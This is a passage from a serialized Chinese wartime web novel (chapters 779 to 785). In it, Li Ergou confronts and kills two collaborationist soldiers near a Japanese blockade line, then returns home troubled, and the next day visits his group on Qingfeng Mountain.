日后江东的百姓,一举一动都会被日本鬼子和伪军看得清清楚楚。 到那时,百姓无半点自由,整片江东,便是任人宰割的死地。 如果真是这种局面,对清风集团的影响实在是太大了。 目前清风集团的主要收入来源是一夜八次丸。 一旦囚笼政策正式实施,江东所有通往外界的道路将全部被封锁,到时候,在清风农场秘密山洞里生产的一夜八次丸将无法运出江东。 这对清风集团的打击将是致命的。 没有钱,清风集团上千号兄弟吃什么?喝什么? 没有钱,拿什么去买武器弹药?拿什么给兄弟们发饷钱? 手里没钱,心中就慌! 仅靠开辟出来的百十亩荒地,根本无法保证清风集团的正常运转。 这是把清风集团往绝路上逼,李二狗绝不会坐以待毙。 李二狗立在原地,望着眼前这些冰冷的工事,眸光沉沉,思绪翻涌,他在苦苦思索着应对之策。 天色就在这片刻的凝望里,彻底黯淡下来。 白日的余晖尽数散尽,暮色沉沉笼罩四野,晚风顺着壕沟缝隙穿过来,带着夜间黄土的凉冽寒气。 周边劳作的民夫不知道什么时候已经散去,只剩下空荡荡的大路和死寂冰冷的防御工事,四下静得可怕。 就在这时,一道粗暴蛮横的喝问声,突然从李二狗身后响起,满是恫吓与戾气。 “什么人?干什么的?” 声音突兀凶狠,带着常年欺压百姓的蛮横腔调,打破了夜色里的沉静。 李二狗神色未变,听声音他就知道遇到伪军了。 别说是遇到几个伪军,即使是遇到日本人,他也丝毫不惧。 此时天色已黑,大不了杀了他们。 想到这,他从容不迫地缓缓转过身来。 只见身后几步开外,果然站着两个身穿黄布军装的伪军士兵。 二人站姿松散歪斜,吊儿郎当,满脸痞气,手里的老式步枪端得笔直,黑洞洞的枪口,正对准李二狗的身子。 这两个伪军皆是二十岁出头的年纪,眉眼间带着仗势欺人的嚣张,脸上挂着不屑一顾的蛮横,一副狗仗人势的模样。 李二狗目光淡淡地扫过二人,语气平静,根本没有寻常百姓遇到伪军的那种惶恐。 “没什么,路过,随便看看。” 一句平实的回话,落在两个伪军耳朵里,却像是触碰了他们的逆鳞。 左边脸上长着麻子的伪军当即嗤笑一声,眉眼一竖,语气越发蛮横刁钻,字字带着欺压良善的戾气。 “随便看看?这地界是你小子随便能看的吗?不知死活的东西!老子看你这小子一副贼眉鼠眼的样子,一定不是什么好货色!说,你到底在这里看什么?是不是来刺探皇军情报的?” 此话一出,李二狗眼底瞬间掠过一丝恼怒。 第780章 饶你这条狗命 今晚在孙竹刚家里,他陪着喝了不少老酒,又吃了满满一肚子新鲜的海鲜馅饺子。 此时酒意微微上头,脑袋本就带着几分慵懒的晕沉,本不想和这些狐假虎威的走狗多做纠缠。 可夜间的晚风寒凉刺骨,一阵冷风迎面吹过来,顺着衣领钻进衣襟里,瞬间激起一身细密的鸡皮疙瘩,身上的慵懒暖意散去大半,仅剩的几分醉意,也被这蛮横的呵斥搅得消散无踪。 平日里,面对这些刻意的刁难,他大多时候都能隐忍退让,懒得和这些底层走狗一般见识。 可千不该万不该,这两个睁眼瞎,竟敢张口污蔑李二狗的长相。 李二狗对自己的长相素来自信,他那挺拔的身姿,英俊的相貌,不知引得多少女子为之侧目倾心。 如今倒好,竟然被这两个面目猥琐的伪军,污蔑自己的长相贼眉鼠眼。 这口气,他忍不得! 他这辈子吃软吃硬都可以,唯独受不得对自己相貌的羞辱。 士可忍,孰不可忍! 李二狗抬眼看向二人,目光依旧平静,语气却添了几分冷硬。 “这大路通天的,又不是你家私宅,凭什么我看一眼都不行?” 这话一出,两个伪军顿时愣住了。 他们负责这一带的巡逻,平日里作威作福惯了,平常百姓见了他们,哪个不是低头哈腰? 要么绕道躲闪,要么乖乖回话,半点都不敢顶撞。 谁见了他们不是吓得唯唯诺诺?何曾见过这般敢公然和他们顶嘴的人? 片刻的愣神过后,两个伪军脸上的蛮横戾气更盛,认定李二狗定然来路不正,不是什么良民。 右侧高个子伪军当即往前踏出一步,满脸凶戾,扯着嗓子厉声呵斥,语气嚣张至极。 “嘿!你个小兔崽子,还敢跟老子顶嘴?老子说不能看,就不能看!规矩是老子定的!你小子若是不服气,老子枪里的子弹,保管让你老老实实地服气!” 面对这赤裸裸的武力威胁,李二狗神色依旧淡然,丝毫没有被对方的凶态震慑。 他看着对方仗着手里有枪便肆意张狂的丑态,语气平缓地说道:“别仗着手里攥着一杆破枪,说话就这般盛气凌人!你有枪又如何?拿着枪不去打日本鬼子,不去守护自己的家国,反倒对着自己的同胞耀武扬威,真当我会怕你们这些狐假虎威的蠢货吗?” 这番全然不惧的回话,彻底超出了两个伪军的预料。 他们本以为随便恐吓几句,就能吓得对方跪地求饶,没成想眼前这小子非但不怕,反倒句句顶撞、字字讥讽,他一定是疯了! 二人对视一眼,迅速取得一致,他们眼中露出凶光,越发觉得李二狗形迹可疑,定然是个反日分子,否则寻常百姓,绝无这般胆量。 抓住一个反日分子交给日本人,定能得到不小的奖赏。 想到这,他们迅速打起精神,准备捉拿李二狗。 “哗啦——” 一声清脆的枪栓拉动声,在寂静的夜色里格外刺耳。 方才说话的那个高个子伪军,单手猛地拉动枪栓,子弹上膛,黑漆漆的枪口对准了李二狗的胸口,脸上布满狰狞杀意,恶狠狠地威胁道:“小兔崽子,活腻歪了是不是?信不信老子现在就一枪毙了你!” 冰冷的枪口近在咫尺,贴着晚风带着森森寒意。 换做旁人,早已吓得双腿发软,可李二狗自始至终身形挺拔,脸上不见半分慌乱恐惧。 他微微抬眼,看向凶神恶煞的伪军,嘴角甚至勾起一抹鄙视的嘲讽。 “那你信不信,你这枪,根本开不了?” 两名伪军闻言,瞬间怔住,随即不约而同地仰头哈哈大笑起来。 那笑声粗犷又刺耳,满是戏谑、鄙夷与不屑,仿佛听到了天底下最可笑的笑话。 在他们看来,他们只需轻轻扣动扳机,眼前这人顷刻就会毙命。 这小子这个时候还敢口出狂言,简直是愚昧透顶。 真是一个不知天高地厚的蠢货! 笑罢之后,那高个子伪军眼中凶光毕露,上前一步,猛地将枪口狠狠往前一顶,坚硬的枪身死死抵在李二狗的胸口,力道极重,带着蛮横的压迫感。 他凑到李二狗跟前,一字一顿地狞笑道:“你小子真是茅厕里点灯,找死!你知不知道?老子的手指头,只要轻轻往下一扣扳机,子弹立马就能穿透你的前胸,打穿你的后背!到时候你的血就会咕噜咕噜往外冒,染红你脚下这片土地!” 说到这里,他再次张狂大笑,气焰嚣张到了极点。 “怎么?现在怕了吧?晓得老子厉害了吧!识相的,立刻跪下来给老子磕几个响头求饶,老子心情好,说不定大发慈悲,饶你这条狗命!” 一旁的麻子伪军也连忙上前帮腔,横眉竖目,语气刻薄。 “赶紧跪下吧!不知死活的东西!敢跟老子作对,纯粹是自找不痛快!你再敢嘴硬,直接让你横尸当场!” 夜色漆黑,晚风萧瑟,两个伪军一唱一和,持枪威逼并出言羞辱,嚣张跋扈的丑态展露无遗。 枪口死死抵着胸口,威胁直白又致命,可李二狗自始至终神色从容,脸上云淡风轻,没有半分怯意,眼底只有淡淡的漠然与讥讽。 他看着眼前两个丑态毕露的伪军,缓缓开口道:“我看倒是你们二人,若是现在跪下来求求我,我说不定可以发发善心,留你们一个全尸。” 这话一出,周围的空气仿佛都凝固了。 短暂的死寂过后,两名伪军爆发出更加肆无忌惮的大笑声,笑得前仰后合,满脸讥讽。 他们活了这么多年,还是第一次见到这般不知死活的人。 徒手面对上膛的步枪,不仅不求饶认错,反倒敢大言不惭放话要留他们全尸,这简直是疯癫至极,纯粹是找死赶着投胎。 笑够之后,高个子伪军脸上的戏谑尽数褪去,满眼都是冰冷的杀意。 “好!好得很!既然你小子一心找死,不知悔改,那老子今日就成全你,送你上路!” 可就在这千钧一发的刹那,李二狗突然出手了。 第781章 李二狗五味杂陈 李二狗身形极快,没有半点拖泥带水,完全不给两个伪军丝毫反应的机会。 那持枪抵在他胸口的高个子伪军,脸上还挂着狰狞的杀意,脑海里还想着如何进一步震慑羞辱。 突然他觉得自己的手腕一麻,一股霸道强劲的力道骤然袭来。 下一秒,手中的步枪已然脱手而出,落入李二狗手中。 枪身突然调转,黑洞洞的枪口,转瞬便对上了这名伪军的胸口。 一旁的麻子伪军彻底懵了,大脑一片空白,愣了半天才回过神来。 他又惊又怕,来不及多想,慌忙举起自己手里的步枪,想要瞄准李二狗。 可他的动作终究还是太慢了。 李二狗手腕翻转,握着枪身顺势一挥,坚硬的实木枪托带着迅猛的力道,精准地砸在麻子伪军的脑门之上。 “嘭!” 一声沉闷厚重的撞击声响起。 力道极大,猝不及防。 麻子伪军连惨叫都来不及发出,脑门瞬间剧痛难忍,温热的鲜血顺着额头伤口汩汩涌出,咕噜咕噜顺着脸颊往下流淌,瞬间糊满了他那张丑恶的脸庞。 他身子猛地一颤,双腿一软,眼前一黑,直直地栽倒在地,当场昏死过去。 方才还气焰滔天的高个子伪军,彻底懵逼了。 方才还不可一世,此刻早已没了一点嚣张气焰。 看着倒地昏死的同伴,再看着对准自己胸口的冰冷枪口,他只觉得头皮发麻,脸上的血色瞬间褪得一干二净。 浑身的嚣张、蛮横,顷刻间消散得无影无踪,取而代之的是深入骨髓的恐惧。 他双腿不受控制地发软颤抖,膝盖一弯,“扑通”一声重重地砸在冰冷的黄土地上,不停地跪地求饶。 “爷爷饶命!好汉饶命!小的有眼不识泰山,是小的瞎了眼,冒犯了爷爷!求爷爷高抬贵手,饶小的一条狗命!” 前后反差,判若两人,谄媚苟且的丑态尽显无遗。 看着他这副贪生怕死的模样,李二狗眼底满是冰冷的嘲讽,鼻腔里发出一声极冷的冷哼。 他握着枪,一字一句地喝问道:“方才你不是很嚣张吗?不是口口声声要让子弹穿透我的前胸,打穿我的后背吗?不是让我的血咕噜咕噜往外冒吗?” 李二狗抬起枪口,把枪口顶在了高个子伪军的脑门上。 “你刚才的气焰都去哪里了?不是觉得自己手里有枪就能天下无敌吗?怎么这会儿,反倒怂成这副模样了?” 一连串的质问,让跪地的伪军浑身瑟瑟发抖,不敢再有半句辩驳,只剩无尽的惶恐。 李二狗眼神淡漠地扫了他一眼,随即手腕一翻,微微一动,直接将手中的步枪重重丢在这名伪军脚边。 枪支落地,发出“哐当”一声清脆的撞击声。 李二狗唇角勾起一抹冷冷的笑意。 “枪现在还给你,我倒要好好看看,你方才吹嘘的本事,到底在哪?你尽管动手,让我亲眼瞧瞧,你怎么让子弹穿透我的前胸,打穿我的后背。” 他身形挺拔,没有半分防备,却自带一股震慑人心的气场。 那伪军低头看着脚边近在咫尺的步枪,眼底瞬间闪过一丝阴鸷的光亮。 他方才跪地求饶,满心都是绝望和恐惧。 可转眼看见脚边的步枪,心底瞬间滋生出一丝侥幸。 他暗自揣测,对方定然是托大轻敌,以为自己早已被吓破了胆。 绝佳的机会就在眼前! 念头一闪而过,这名伪军眼底的恐惧瞬间被一股恶念取代。 趁着李二狗毫无防备的瞬间,他猛地抬头,身子骤然一扑,伸手一把攥住脚边的步枪,借着扑势就地一个翻滚,迅速闪退数步,拉开安全距离。 动作一气呵成。 稳住身形的瞬间,他立刻双手端枪,黑洞洞的枪口再度对准李二狗的身躯,脸上重新爬上了张狂得意的狞笑,之前的惶恐卑微荡然无存。 “哈哈哈!臭小子,是你自己托大找死!这下老子倒要看看,到底是谁要死!老子现在就让你好好尝尝,被子弹从前胸穿过后背的滋味!” 得意的笑声在夜色里回荡,满是小人得志的猖狂。 可看着他这番自作聪明的丑态,李二狗脸上没有丝毫慌乱,反倒露出一抹淡淡的轻笑。 “是吗?那我倒要拭目以待,看看一把没有枪栓的步枪,要怎样射出子弹,哈哈哈。” 话音落下,李二狗缓缓地将背在身后的右手伸了出来。 掌心摊开,一个黑漆漆的枪栓静静躺在他的手心里。 他手腕轻轻一抖,随手便将枪栓丢在这名伪军的身前。 “哐当!” 又是一声轻响。 这一刻,方才还自以为翻盘有望的伪军,瞬间僵在原地。 整个人如遭雷击,满脸都是难以置信的绝望。 他死死地盯着地上的枪栓,又看了看自己手中没有枪栓的步枪,整个人彻底傻眼。 他怎么也想不到,方才对方丢枪的瞬间,看似随意洒脱,竟早已暗中将枪栓悄悄卸下。 从头到尾,对方都在戏耍自己! 他到底是怎么做到的? 就在那一瞬间,他就能悄无声息地卸下枪栓? 这根本不可能! 可就是这不可能的事情,他却真的做到了! 巨大的落差与绝望瞬间淹没了他,他顾不上多想,慌忙弯腰想去捡拾地上的枪栓,妄图做最后一搏。 可李二狗根本不给他半点翻盘的机会。 就在他手指即将触碰到枪栓的刹那,李二狗身形一闪,快步上前,右腿骤然发力,一记迅猛凌厉的重脚狠狠地踢出。 这一脚力道刚猛厚重,带着十足的爆发力,精准地踹在伪军的胸口之上。 “噗——” 剧烈的撞击力瞬间贯穿全身,伪军整个人如同断线的风筝一般向后倒飞出去,身子重重砸落在地。 一口鲜红的鲜血猛地从他口中喷涌而出,接连吐了好几口,浑身 筋骨仿佛都被震碎了。 他挣扎了两下,脑袋一歪,身子软软地瘫在地上,昏死过去。 夜色深沉,晚风萧萧。 两个嚣张跋扈的伪军,双双瘫倒在冰冷的黄土地上,再无半分往日欺压百姓的威风。 空荡荡的壕沟路旁,只剩李二狗一人静静立在原地,身姿挺拔,神色淡然。 他望着远处纵横交错的壕沟与林立的工事,内心五味杂陈。 杀两个伪军容易,可要破除日本人的囚笼政策,实在是太难了! 第782章 没得选 冷风卷着脚下的尘土,贴着地面胡乱地扫动,县城郊外的荒道上,此刻静得吓人。 李二狗看着地上躺着的两个伪军,他们方才还端着枪,嚣张跋扈地质问李二狗,嘴里面更是不干不净,现如今却彻底没了动静。 他们躺在地上,眼皮耷拉着,脸色惨白,李二狗知道,没有一个小时他们肯定醒不过来。 此刻,李二狗站在他们身前,手里攥着一把亮晃晃的刺刀。 他低着头,目光盯着地上的这两个人,心口像是压了一块大石头,闷得他有些喘不上气来。 他原本不想这么做。 他杀过日本鬼子,也收拾过作恶多端的汉奸,可他从来没有像今天这样,心里堵得发慌,浑身透着疲惫。 这两个伪军其实算不上什么十恶不赦的恶人,也许他们跟着日本人只是想在这个乱世混口饭吃,李二狗并不想杀他们。 可他心里也清楚,今天若是放了他们,日后必定是后患无穷。 李二狗想不明白,为什么总是有那么多迫不得已的事情等着自己去做。 这年头世道乱得很,人心更乱。 这两个伪军见过他的样貌,今日如果贸然放过他们,改天一旦再撞见,必定会咬他一口。 到时候不光是他自己,他身边的人,胡家大院的兄弟还有孙竹刚全都要受到到牵连。 李二狗闭了闭眼,喉结狠狠地滚动了几下。 乱世里想要活命,本就是身不由己,太多事,容不得一丝心软,容不得任何犹豫。 为了断绝后患,为了护住身边所有的人,他没得选。 人生最痛苦的事情就是没得选。 就像一夜八次丸的运输通道,绝不能失去! 李二狗同样没得选! 他咬着牙,肩膀猛地一沉,手腕干脆利落地一用力,手中的刺刀飞快地划过两道弧线,没给对方留下一点挣扎的余地。 他们的身体本能的一抖,就彻底没了声息。 做完这一切之后,他没有再多看地上的尸体一眼。 不是不心慌,也不是不沉重,只是不愿意看。 再多看一眼,他心里那点残存的恻隐,就会翻涌得更厉害。 他抬起手,慢慢地擦了擦溅在手背上的血渍,动作很慢,每一个动作都透着一股说不出的疲惫。 随后他便将刺刀扔进了旁边的壕沟里,弯腰扶起路边停放的自行车,跨上车座,蹬着车子,快速地朝着胡家大院的方向驶去。 一路晚风萧瑟,车轮碾过凹凸不平的土路,发出一阵阵咯吱咯吱的声响。 整条路上,只有他一个人的影子,被月色拉得又瘦又长。 他心里空荡荡的,又沉甸甸的,说不清是疲惫,是无奈,还是满身说不清道不明的惆怅。 他就这么默默地骑着自行车,一路沉默,一路心事重重,把方才县城郊外发生的血腥一幕,死死地压在心底,也把一身的沉重,尽数带回了胡家大院。 此时的胡家大院,灯火摇曳,透着一股难得的暖意。 白日里的喧闹早已散去,院子里安安静静的,只有屋檐下的灯笼,被晚风轻轻吹得晃动,光影斑驳,落在青砖地之上,晃晃悠悠的。 李素文前两天已就被张二驴奉命从清风山接回了胡家大院。 前些日子她一直待在山上,跟着望冬她们同住,心里却时时刻刻惦记着李二狗。 如今总算回到了熟悉的院子,人是安稳踏实了,心里却始终悬着一份牵挂,迟迟落不下来, 她知道李二狗今日要进县城办事。 如今江东县城局势复杂,到处都是日本鬼子和汉奸伪军,乱得很。 而且现在孙竹刚已经不是江东县长,李二狗失去了最大靠山,一旦出点事,连个说情的人都没有。 她从李二狗出门就开始担心,坐也坐不住,站也站不稳,心里一直揪着,生怕他在外遭遇到什么凶险。 天色一点点黯淡下来,大院里的人渐渐都歇息了,唯独她睡不着。 她搬了一张矮凳,靠在床边坐着,身上披着一件薄薄的碎花小夹袄。 一整天的惦念忧心,她的身心早已疲惫,等着等着,困意就一点点涌了上来。 她不敢睡着,就这么靠着床沿硬撑着,半坐半倚,脑袋微微垂着,昏昏沉沉地打起了盹。 她的眼睛半睁半闭,耳朵却一直竖着,仔细倾听着院门外的动静,等着那道熟悉的身影归来。 不知道等了多久,就在她迷迷糊糊之际,院外终于传来了一阵熟悉的脚步声。 那声响慢悠悠的,没有往日归来时的轻快,反倒透着一股子沉沉的苦涩。 李素文心里猛地一紧,瞬间就从困顿里清醒过来,所有的睡意烟消云散。 她立刻直起身子,睁大眼睛望向门口。 不多时,李二狗推着自行车车,缓步走进了四合院里。 借着昏黄的灯火,李素文一眼就看到了他沉闷的样子,心口瞬间像是被什么东西攥住了,又酸又疼。 往日的李二狗,不管在外边受了多少劳累,回来时脊背永远都挺得笔直,眼神清亮,精气神十足,从来不会在旁人面前露出半分颓态。 哪怕是遇到再大的危险,他也依旧沉稳硬朗,让人看着就觉得十分安心。 可今天却不一样。 他整个人像是被抽走了所有力气,身体透着一股子难言的疲惫,肩膀微微耷拉着,脚步沉重,每一步走得都格外费力。 他脸上没有什么血色,眼底压着一层厚厚的阴霾,浑身笼罩着一股压抑沉闷的气息,让人一眼就能看出,他心里肯定装着天大的事。 看着他这副模样,李素文心里的担忧瞬间涨到了顶点。 她连忙起身,快步走上前,轻声问道:“怎么了,二狗?去了趟县城,怎么累成这个样子?” 她的声音温柔细软,带着满心的疼惜。 可李二狗站在原地,一动不动,也没有应声。 他只是抬眼看向面前的这个女人。 看着她眼底的担忧,看着她温柔的眉眼,心里积压了一路的血腥、压抑、挣扎和疲惫,在这一刻,彻底冲破了所有的伪装。 第783章 彻夜难眠 在外人面前,他是杀伐果断的李二狗,遇事从不低头,从不软弱,再难再险的局面,他都能硬生生地扛下来。 可在李素文面前,他不用硬撑,不用伪装,不用时时刻刻逼着自己坚强。 眼前的这个女人,是他唯一的软肋。 沉默几秒后,他上前一步,伸出双臂,用力地将李素文紧紧地拥进怀里。 力道很重,像是要把她揉进自己的骨血里,像是只有抱着她,才能抓住这世间仅存的一点温暖,才能压住心底不断翻涌的阴霾。 李素文被他这突如其来又格外用力的拥抱箍得喘不过来气。 突然,她清晰地感觉到,抱着自己的这副硬朗身躯,正在微微发抖。 不是冷的,是累极了的颤抖,是撑到极致,再也扛不住的无力颤抖。 细微的颤抖透过衣衫,真切地传递到她的身上,瞬间吓得她心里发慌,浑身都跟着紧绷起来。 在她的印象中,李二狗从来不是这般模样。 这个人,天不怕地不怕,枪林弹雨里闯过,刀光剑影里熬过,多少次九死一生的险境,他都面不改色。 不管遇到多大的难处,多凶残的敌人,他从来不会低头,更不会在人前露出半分软弱。 他永远沉稳、硬朗、无所畏惧,是能为所有人遮风挡雨的靠山。 可今天,他竟然在发抖。 李素文的心一下子就乱了,慌得厉害,眼眶瞬间就热了。 她不敢多想,越想越害怕,连忙抬手抵在他的胸口,微微推开他一点,急切地看着他的脸,声音都带着了几分颤音。 “二狗,你可别吓我。快告诉我,你到底怎么了?是不是出事了?” 她从没见过这般消沉无力的李二狗。 能让向来坚韧强悍的他变成这样,定然是遇上了天大的事,是受了极大的打击。 面对她满是焦急担忧的眼神,李二狗依旧没有开口解释。 千言万语堵在他的喉咙里,血腥的场面、无奈的抉择、未知的前途,太多东西压着他,他不知道该怎么说,也不想说出来吓到她。 他什么都没讲,只是手臂再次收紧,将李素文更紧地抱在怀里,脑袋微微垂着,抵在她的肩头,将所有的疲惫、压抑和脆弱,尽数藏在她温暖的怀抱里。 过了许久,他才嗓音沙哑地吐出一句话,语气里满是倦怠。 “我没事,只是突然觉得好累好累。” 他是真的累。 身体累,心更累。 累得他快要撑不住了,累得他只想抛开所有的纷争、所有的算计、所有那些身不由己的责任,就这么安安静静地抱着身边的这个女人,什么都不管,什么都不问。 李素文听着他沙哑疲惫的声音,心里又疼又酸,所有的忐忑和恐惧,最后都化作了满心的温柔。 她不再追问,只是轻轻抬起手,一下、一下……温柔地拍打着他的后背。 她的动作是那么的轻柔舒缓,像是在安抚一个受尽委屈、满身疲惫的孩子。 她轻声细语地安慰着,带着最质朴的心疼。 “二狗,累了就歇一歇吧,别总是那么要强。你也是人,不是铁打的,不用什么事都自己硬扛。” 简简单单的几句话,没有什么大道理,却字字句句都暖在李二狗的心底。 怀里的人温柔安稳,身上带着独有的温和气息,一点点熨帖着他满心的伤痕。 又是一阵长久的沉默,院里静得只剩下两人浅浅的呼吸声,还有晚风拂过屋檐的轻响。 良久,李二狗才低声说道:“有时候,我真想带着你一走了之。不管山下的纷争,不管日本鬼子的封锁,不管清风集团的存亡,也不管身后这些扯不完的糟心事,就咱们两个人,找一个没有战争的地方,安安稳稳地过日子。” 这话,他藏在心里很久了。 自打局势越来越乱,这个念头就时时地冒出来。 他厌倦了打打杀杀,厌倦了步步算计,厌倦了身不由己的取舍。 他只想护着自己在乎的人,平安度日,别无他求。 可日本鬼子正在一步步蚕食中国的领土,偌大的中国哪里还有一个没有战乱的地方? 雪崩的时候,没有一片雪花可以独善其身。 必须把日本鬼子赶出中国! 李素文静静地依偎在他温暖的怀抱里,听着他低沉的话语,感受着他满身的疲惫,心里软软的,满满的,甜蜜中带着一丝心疼。 她不问他经历了什么,不问他为何这般惆怅。 她只知道,此时此刻,这个顶天立地的男人,在她面前卸下了所有铠甲和锋芒,露出了最柔软脆弱的一面。 能被他这般放在心上,这般牵挂惦念,能成为他唯一的慰藉,她觉得自己是这乱世里最幸福的女人。 夜色渐深,晚风渐凉。 两人相拥静坐了许久,所有的疲惫和温柔,都悄悄融进静谧的夜色里。 之后两人熄灯上床,安安静静地躺着,再无多余言语。 身边的李素文悬了一天的心,一旦精神放松下来,就彻底撑不住了,躺下没多久,她便沉沉地睡了过去。 唯独李二狗,即使头痛炸裂,他也毫无睡意。 他平躺着身体,睁着眼望着上方漆黑的屋顶,脑子里乱糟糟的,无数画面在脑海里翻来覆去地闪现着。 县城郊外那两个伪军临死前的模样、日本人修筑壕沟炮楼的情景、清风集团即将面临的绝境、集团一众兄弟的出路…… 这一桩桩、一件件,全都压在他的心头,沉甸甸的,让他彻夜难眠。 他心里清楚,今夜的安稳只是暂时的。 往后的日子,只会更难、更险、更难熬。 这一夜,他几乎睁着眼熬到了天亮,彻夜无眠。 翌日清晨,天刚蒙蒙亮,天边泛起一层淡淡的鱼肚白,山间的雾气还未散尽,微凉的晨雾笼罩着整片大地。 以往天一亮,胡家大院便是一片忙碌的景象。 那时候,李二狗总会早早起身,在大厅院子里条理清晰地安排当日各项事务。 可如今,偌大的大院里也显得格外安静。 自从上次把大多数下人遣散之后,胡家大院就再也没有恢复往日的喧嚣。 第784章 含苞待放 李二狗起得很早,脸上依旧带着昨夜未消的疲惫,眉眼间的凝重比昨日更甚,浑身透着一股严肃沉郁的气场。 他没有像往常一样传唤人手,也没有安排任何院内事务。 简单洗漱过后,他直接找到了张二驴。 张二驴跟在他身边多年,心思细腻、沉稳靠谱,最是擅长察言观色。 一见到李二狗今日的神情,心里便悄悄绷紧了弦。 往日里的李二狗哪怕心事再重,也会神色从容,给人一种泰山崩于前而我自岿然不动的形象。今日却眉眼紧锁,明显是心里揣着天大的事情。 李二狗不主动说,张二驴便不敢多嘴,更不敢随意说笑,他安安静静站在一旁,等候李二狗的吩咐。 “二驴,跟我上趟清风山。” 李二狗语气平淡,却带着不容置疑的严肃。 张二驴心里一怔,愈发确定是出了大事。 往常都是李二狗安排自己去清风山传达他的命令,极少有他自己亲自上山的情况。 今日这般反常,定然是局势危急,容不得半点怠慢。 他不敢耽搁,立刻应声道:“好,狗哥。” 两人一前一后,踏出胡家大院,骑着马朝着清风山的方向快速奔去。 一路上,山风微凉,晨雾缭绕,林间静悄悄的,连鸟鸣声都显得格外稀疏。 李二狗一路沉默前行,眉头紧锁,满脑子都在盘算着日本人的封锁诡计和集团的生路难题。 他不说话,周身便萦绕着一股压抑沉闷的气氛。 张二驴骑马跟在他身后,一句话都不敢问,默默地跟着往前赶路。 他知道,李二狗不主动说话的时候,最忌讳身旁的人多嘴多问。 一路无话,两人顺着山路,很快便登上清风山,来到清风集团大门口。 清风集团守备森严,门口值守的弟兄个个精神紧绷,半点不敢松懈。 张二驴持有清风集团专属的通行令牌,进出山门向来畅通无阻。 而李二狗的情况则不同。 早前他为了欺骗日本人故意被集团除名,名义上早已不是清风集团的人。 如今局势敏感,山上人多眼杂,若是贸然暴露身份,难免引来不必要的揣测和麻烦,徒生事端。 为了稳妥起见,不引起旁人注意,李二狗装作是张二驴随行的跟班,低着头跟在他身后。 守门的弟兄只认得手持令牌的张二驴,见是下人随行,没有半点怀疑,便直接抬手放行。 两人顺利进入清风集团的大门。 进门之后,院内人来人往,一切如常。 可李二狗看着眼前的景象,眼底的沉郁却愈发浓重。 也许这样安稳宁静的局面很快就会消失了。 他侧头看向身边的张二驴,低声吩咐道:“二驴,你现在去把秀才、孙连胜他们几个,全都叫到老三家里集合,我先过去等着你们。” “明白,狗哥。” 张二驴立刻领命,转身快步朝着院内议事厅的方向走去。 李二狗独自转身,朝着陈老三的住处走去。 陈老三的院子在清风山一个较为偏静的位置,远离喧闹的广场,平日里格外清静。 此时天色刚亮不久,晨光浅浅,洒满小院。 陈老三此时并不在家,按照往日的惯例,天一亮他就带着人去巡山,排查山间隐患。 小院里空荡荡的,只有望冬一个人在家,正低着头收拾着院里的杂物。 自打李素文下山之后,望冬心里便一直惦记着李二狗。 在她心里,李二狗是一个顶天立地的英雄,是给她安稳生活的恩人。 这份感激,早已悄悄变成了藏在心底的倾慕和好感。 只是她素来懂事,知晓分寸,知道自己的身份,从不敢逾矩,只敢把这份心思悄悄地藏在心底。 她日日盼着能见李二狗一面,却又怕太过刻意,惹人生厌。 此刻她正安静干活,一抬眼,忽然看见院门口走进一道熟悉的身影,心脏瞬间猛地一跳,整个人都愣住了。 等她看清来人真的是李二狗,她眼底瞬间亮起耀眼的光芒,脸上瞬间堆满止不住的喜色,眉眼弯弯,满脸都是雀跃的笑意,整个人透着一股藏不住的欢喜。 所有的沉静瞬间消散,她又惊又喜,快步上前,语气里满是激动:“狗哥,你怎么来了?” 那声音里带着少女般纯粹的欢喜,毫无掩饰,满满都是见到心上人的欣喜。 李二狗看着她这般鲜活雀跃的模样,脸上一直压着的沉郁稍稍散去一些,勉强露出一抹淡淡的笑容,随口玩笑道:“怎么?我不能来吗?” 望冬闻言,瞬间慌了神,她连忙摆手,脸颊微微泛红,兴奋得有些语无伦次,手脚都不知道该往哪里放,急忙解释道:“能来!能来!当然能来!狗哥,你知道我不是那个意思!” 她生怕自己方才的话让他误会,生怕他觉得自己不欢迎他,眼底满是真诚的热切。 “我天天都盼着你来,巴不得你多来几趟!你快进屋里坐!” 说话间,她连忙侧身让路,眉眼弯弯,笑意盈盈,满心满眼都是他的身影,那份藏不住的好感,直白又纯粹,尽数写在脸上。 李二狗目光淡淡地扫过整洁的小院,顺势抬眼往屋内瞥了一眼,屋里空无一人,格外安静。 他状似随意,轻声问道:“老三没在家?” 望冬脸上笑意温柔,满眼明媚,老老实实地说道:“他一早就带人巡山去了,山前山后都要巡查一遍,一时半会儿回不来的。” 她刻意把最后一句话的几个字说得重了一些,也许她并不是想刻意,只是内心一种下意识的行为。 她自己都不知道为什么,心里日日盼着见到李二狗,可每次见到他,心里就会莫名的紧张。 此时正是春寒料峭的时节,清晨的风依旧带着一丝凉意,吹在身上,凉丝丝的。 院子角落的泥土里,一株迎春花悄然立着。 枝头褪去了冬日的枯寂,细细的枝条上,已经冒出星星点点的花骨朵,小小的、鼓鼓的,裹着浅浅的嫩黄,在微凉的晨风里,悄悄蓄力,含苞待放。 李二狗听完望冬的话,微微一怔。 第785章 我是心甘情愿的 李二狗没有进屋,他目光缓缓移过去,落在院中那几枚小小的迎春花骨朵上,眼神放空,看似在看花,实则心里半点都没落在花上。 他满脑子盘旋的都是日本人的壕沟、炮楼、被分割的江东地界、即将断绝的运输路线、集团岌岌可危的生计。 一桩桩危机压在心头,让他半点松懈不得。 他刻意不进屋,不与望冬独处一室,不是不喜,不是冷淡,只是心里装着太多沉重的事情,没心思闲谈说笑,更怕与她独处相对,徒生尴尬,耽误正事。 望冬心思细腻,隐约察觉到了他的疏离,也看出他眉眼间的心事重重。 可她依旧满心热忱,温柔地说道:“狗哥,外面风凉,快进屋坐吧,我给你泡一杯热茶,喝了暖暖身子。” 李二狗的眼睛依旧看着院中的花枝,闻言轻轻摇了摇头,露出一抹浅淡的笑意,语气平和地说道:“屋子里太闷,不透风,我就在院子里站站,透透气就好。” 望冬心里隐约猜到了他的心思。 她知道李二狗心思重,向来懂得避嫌,从不与其他女人过分亲近。 更知道他性子执拗,一旦打定主意,旁人再劝也是没用。 她心里虽有小小的失落,却半点不敢勉强,只能乖乖点头说道:“好,那我陪你在院子里透气,嘻嘻。” 小院里瞬间安静下来,微风轻轻拂过花枝,悄然吹动了两人的衣角。 为了打破这份尴尬,李二狗看着乖巧站在一旁的望冬,温和地说道:“望冬,前段时间,你素文姐一直住在你这里,劳你费心照料,给你添了不少麻烦,多谢你了。” 这话是他没话找话,纯粹是为了缓和尴尬的气氛,只是平平常常的一句客气话罢了。 可落在望冬耳中,她瞬间就急了。 